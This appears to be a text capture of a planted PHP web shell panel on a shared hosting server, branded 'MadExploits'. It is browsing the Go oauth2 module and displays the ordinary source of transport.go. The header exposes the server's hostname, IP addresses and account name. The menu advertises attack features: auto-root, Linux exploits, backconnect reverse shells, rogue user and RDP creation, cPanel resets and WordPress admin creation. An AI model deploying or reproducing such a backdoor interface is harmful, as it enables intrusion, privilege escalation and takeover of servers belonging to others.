Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
golang.org /
x /
oauth2@v0.16.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
amazon
[ DIR ]
dr-xr-xr-x
authhandler
[ DIR ]
dr-xr-xr-x
bitbucket
[ DIR ]
dr-xr-xr-x
cern
[ DIR ]
dr-xr-xr-x
clientcredentials
[ DIR ]
dr-xr-xr-x
endpoints
[ DIR ]
dr-xr-xr-x
facebook
[ DIR ]
dr-xr-xr-x
fitbit
[ DIR ]
dr-xr-xr-x
foursquare
[ DIR ]
dr-xr-xr-x
github
[ DIR ]
dr-xr-xr-x
gitlab
[ DIR ]
dr-xr-xr-x
google
[ DIR ]
dr-xr-xr-x
heroku
[ DIR ]
dr-xr-xr-x
hipchat
[ DIR ]
dr-xr-xr-x
instagram
[ DIR ]
dr-xr-xr-x
internal
[ DIR ]
dr-xr-xr-x
jira
[ DIR ]
dr-xr-xr-x
jws
[ DIR ]
dr-xr-xr-x
jwt
[ DIR ]
dr-xr-xr-x
kakao
[ DIR ]
dr-xr-xr-x
linkedin
[ DIR ]
dr-xr-xr-x
mailchimp
[ DIR ]
dr-xr-xr-x
mailru
[ DIR ]
dr-xr-xr-x
mediamath
[ DIR ]
dr-xr-xr-x
microsoft
[ DIR ]
dr-xr-xr-x
nokiahealth
[ DIR ]
dr-xr-xr-x
odnoklassniki
[ DIR ]
dr-xr-xr-x
paypal
[ DIR ]
dr-xr-xr-x
slack
[ DIR ]
dr-xr-xr-x
spotify
[ DIR ]
dr-xr-xr-x
stackoverflow
[ DIR ]
dr-xr-xr-x
twitch
[ DIR ]
dr-xr-xr-x
uber
[ DIR ]
dr-xr-xr-x
vk
[ DIR ]
dr-xr-xr-x
yahoo
[ DIR ]
dr-xr-xr-x
yandex
[ DIR ]
dr-xr-xr-x
.travis.yml
262
B
-r--r--r--
CONTRIBUTING.md
924
B
-r--r--r--
LICENSE
1.44
KB
-r--r--r--
README.md
1.55
KB
-r--r--r--
deviceauth.go
5.35
KB
-r--r--r--
deviceauth_test.go
2.17
KB
-r--r--r--
example_test.go
2.6
KB
-r--r--r--
go.mod
358
B
-r--r--r--
go.sum
2.3
KB
-r--r--r--
oauth2.go
13.59
KB
-r--r--r--
oauth2_test.go
19.55
KB
-r--r--r--
pkce.go
2.3
KB
-r--r--r--
token.go
5.8
KB
-r--r--r--
token_test.go
2.73
KB
-r--r--r--
transport.go
2.35
KB
-r--r--r--
transport_test.go
3.98
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : transport.go
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package oauth2 import ( "errors" "log" "net/http" "sync" ) // Transport is an http.RoundTripper that makes OAuth 2.0 HTTP requests, // wrapping a base RoundTripper and adding an Authorization header // with a token from the supplied Sources. // // Transport is a low-level mechanism. Most code will use the // higher-level Config.Client method instead. type Transport struct { // Source supplies the token to add to outgoing requests' // Authorization headers. Source TokenSource // Base is the base RoundTripper used to make HTTP requests. // If nil, http.DefaultTransport is used. Base http.RoundTripper } // RoundTrip authorizes and authenticates the request with an // access token from Transport's Source. func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) { reqBodyClosed := false if req.Body != nil { defer func() { if !reqBodyClosed { req.Body.Close() } }() } if t.Source == nil { return nil, errors.New("oauth2: Transport's Source is nil") } token, err := t.Source.Token() if err != nil { return nil, err } req2 := cloneRequest(req) // per RoundTripper contract token.SetAuthHeader(req2) // req.Body is assumed to be closed by the base RoundTripper. reqBodyClosed = true return t.base().RoundTrip(req2) } var cancelOnce sync.Once // CancelRequest does nothing. It used to be a legacy cancellation mechanism // but now only it only logs on first use to warn that it's deprecated. // // Deprecated: use contexts for cancellation instead. func (t *Transport) CancelRequest(req *http.Request) { cancelOnce.Do(func() { log.Printf("deprecated: golang.org/x/oauth2: Transport.CancelRequest no longer does anything; use contexts") }) } func (t *Transport) base() http.RoundTripper { if t.Base != nil { return t.Base } return http.DefaultTransport } // cloneRequest returns a clone of the provided *http.Request. // The clone is a shallow copy of the struct and its Header map. func cloneRequest(r *http.Request) *http.Request { // shallow copy of the struct r2 := new(http.Request) *r2 = *r // deep copy of the Header r2.Header = make(http.Header, len(r.Header)) for k, s := range r.Header { r2.Header[k] = append([]string(nil), s...) } return r2 }
Close